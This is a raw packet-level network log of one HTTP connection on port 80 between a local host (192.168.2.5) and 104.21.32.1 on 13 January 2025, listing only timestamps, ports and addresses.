Jan 13, 2025 09:22:26.856617928 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.856637955 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.856642008 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.856650114 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.856659889 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.856668949 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.856677055 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.856686115 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.856692076 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.856702089 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.856713057 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.856717110 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.856724977 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.856730938 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.856739044 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.856745005 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.856753111 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.856760025 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.856770992 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.856782913 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.856834888 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.856843948 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.856853962 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.856880903 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.856887102 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.856898069 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.856901884 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.856910944 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.856920004 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.856925011 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.856934071 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.856946945 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.856961012 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.856981039 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.856990099 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.856998920 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.857011080 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.857016087 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.857021093 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.857028961 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.857034922 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.857043028 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.857048035 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.857055902 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.857064962 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.857084036 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.857690096 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.857698917 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.857707977 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.857717037 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.857733011 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.857743025 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.857748032 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.857757092 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.857764006 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.857775927 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.857790947 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.857799053 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.857805014 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.857815027 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.857825041 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.857831955 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.857839108 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.857853889 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.857870102 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.857877016 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.857884884 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.857896090 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.857899904 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.857914925 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.857928991 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.857935905 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.857944965 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.857955933 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.857959986 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.857970953 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.857978106 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.857986927 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.857991934 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.858000040 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.858011007 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.858017921 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.858023882 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.858031034 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.858047009 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.858066082 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.858323097 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.858330965 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.858340979 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.858355045 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.858364105 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.858367920 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.858382940 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.858386993 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.858396053 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.858401060 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.858407974 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.858413935 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.858428001 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.858442068 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.858460903 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.858483076 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.858508110 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.858515978 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.858522892 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.858553886 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.858593941 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.858603001 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.858613968 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.858623028 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.858647108 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.858659029 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.928910971 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.928930998 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.928941965 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.928975105 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.928988934 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.929004908 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.929014921 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.929025888 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.929035902 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.929045916 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.929063082 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.929085970 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.943217993 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.943255901 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.943279028 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.943303108 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.943326950 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.943339109 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.943381071 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.943399906 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.943417072 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.943433046 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.943443060 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.943451881 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.943461895 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.943469048 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.943478107 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.943485022 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.943497896 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.943506002 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.943521976 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.943527937 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.943536997 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.943546057 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.943557024 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.943567038 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.943581104 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.943588018 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.943603992 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.943612099 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.943620920 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.943633080 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.943644047 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.943653107 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.943659067 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.943666935 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.943675995 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.943684101 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.943706036 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.948616982 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.948676109 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.948688030 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.948699951 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.948738098 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.948750973 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.948792934 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.948832035 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.948937893 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.948950052 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.948966026 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.948975086 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.948982954 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.948991060 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.948998928 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.949008942 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.949022055 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.949029922 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.949044943 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.949052095 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.949063063 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.949071884 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.949084997 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.949101925 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.949112892 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.949117899 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.949127913 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.949132919 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.949145079 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.949151993 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.949162960 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.949167967 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.949178934 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.949182987 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.949192047 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.949198961 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.949206114 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.949213982 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.949225903 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.949234009 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.949240923 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.949256897 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.949265003 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.949274063 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.949286938 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.949302912 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.949311972 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.949317932 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.949326992 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.949333906 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.949333906 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.949345112 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.949353933 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.949361086 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.949369907 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.949378967 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.949384928 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.949394941 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.949409962 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.949419975 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.949428082 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.949435949 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.949450970 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.949456930 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.949465036 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.949472904 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.949481964 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.949489117 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.949501991 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.949510098 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.949517012 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.949525118 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.949534893 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.949543953 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.949553967 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.949563026 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.949568987 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.949577093 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.949584961 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.949590921 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.949599981 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.949606895 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.949616909 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.949625015 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.949632883 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.949642897 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.949649096 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.949671030 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.950105906 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.950123072 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.950131893 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.950170994 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.950184107 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.950193882 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.950261116 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.950270891 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.950280905 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.950289965 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.950297117 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.950309992 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.950318098 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.950325012 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.950331926 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.950341940 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.950349092 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.950357914 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.950364113 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.950372934 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.950378895 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.950395107 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.950406075 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.950442076 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.950458050 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.950467110 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.950474024 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.950480938 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.950486898 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.950495958 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.950500965 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.950511932 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.950525999 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.950536013 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.950542927 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.950551987 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.950558901 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.950568914 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.950578928 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.950586081 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.950603962 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.950627089 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.950819016 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.950829029 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.950839043 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.950858116 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.950866938 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.950875998 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.950887918 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.950895071 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.950903893 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.950916052 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.950920105 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.950930119 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.950937986 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.950954914 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.951024055 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.951040030 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.951050043 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.951060057 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.951071978 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.951076031 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.951085091 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.951093912 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.951100111 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.951107025 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:26.951124907 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:26.951163054 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.021557093 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.021573067 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.021581888 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.021590948 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.021600962 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.021609068 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.021616936 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.021626949 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.021661997 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.035670996 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.035690069 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.035700083 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.035722017 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.035742044 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.035747051 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.035756111 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.035767078 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.035773039 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.035799026 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.035818100 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.035831928 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.035841942 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.035851955 CET	49865	80	192.168.2.5	104.21.32.1
